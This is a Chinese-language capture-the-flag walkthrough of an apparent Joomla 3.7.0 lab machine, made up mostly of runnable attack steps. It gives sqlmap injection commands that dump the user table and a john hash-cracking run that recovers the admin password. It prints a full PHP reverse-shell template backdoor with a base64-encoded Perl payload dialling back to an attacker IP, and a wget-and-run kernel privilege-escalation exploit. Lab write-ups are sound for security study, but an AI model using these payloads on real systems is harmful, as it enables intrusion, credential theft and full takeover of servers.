一、准备工作
1.靶场链接:
百度网盘 请输入提取码 提取码: 48d3
2.启动靶场后会遇到如下情况:
2-1具体解决办法如下:
启动成功
3.查看kali的ip:ifconfig
二、信息收集
1.nmap的信息收集
(1)寻找靶机的ip,发现靶机地址为192.168.101.116
命令:nmap 192.168.101.0/24
(2)端口扫描
命令:nmap -A -P- 192.168.101.116
(3)脚本扫描
命令:nmap --script=vuln 192.168.101.116
2.扫描登录网址
使用dirb扫描,发现一个登录网站http://192.168.101.116/administrator/
命令:dirb http://192.168.101.116
三、漏洞探测
1.探索到joomla 3.7.0的数据库,命令:searchsploit joomla 3.7.0
2.注入漏洞编号为42033,命令:searchsploit -p 42033.txt
3.把漏洞文件复制到root下,命令:sudo cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root
查看42033.txt,命令:su root、cat 42033.txt
四、漏洞利用
1.数据库注入攻击
(1)具体操作:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
使用sqlmap自动注入工具对靶机执行sql注入代码, 查出5个数据库信息
(2)注入查询当前靶机正在使用的数据库为:joomladb
命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
(3)查询user数据表,命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
探测到users表的列名:password、username
(4)查看password列以及对应的username
命令:sqlmap -u "http://192.168.101.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
2.用john给密码哈希值解密
(5)获得网站后台登录用户名admin和密码hash值:
admin 、$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
方法一:
将密文保存到文件Joomla370-136-admin-hash中,命令:vim Joomla370-136-admin-hash
使用john爆破hash值,得到密码:snoopy;命令:john Joomla370-136-admin-hash
方法二:
1.创建一个txt文件将密码hash值放入,命令:vim swn.txt;
2.john解密,命令:john --wordlist=rockyou.txt swn.txt
3.查看解出的密码,命令:john swn.txt --show
用得出的用户密码登录之前发现的一个登录网站http://192.168.101.116/administrator/
登录后台成功
点开网页模板,选择第二个模板
反弹shell
(1)写入反向连接的php代码
源码:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
(2)访问刚才的写的php:http://192.168.101.116//templates/protostar//index.php
(3)kali开启监听:nc -lvvp 4444
(4)优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
3.提权
(1)查看靶机当前的操作系统版本:
lsb_release -a
(2)在kali里面寻找Ubuntu 16.04版本的漏洞
命令:searchsploit Ubuntu 16.04
(3) 下载exp,将里面的exploit.tar上传,并解压运行
命令:wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
1.解压39772.zip文件,命令:unzip 39772.zip
2.进入到39772目录下,解压exploit提权脚本tar包,命令:cd 39772、tar -xvf explit.tar
3.进入到ebpf_mapfd_doubleput_exploit 下面,执行命令:./compile.sh
4. 执行代码进行提权,运行完毕获取root权限,发现flag
命令:./doubleput
获取到root权限,并发现the-flag.txt文件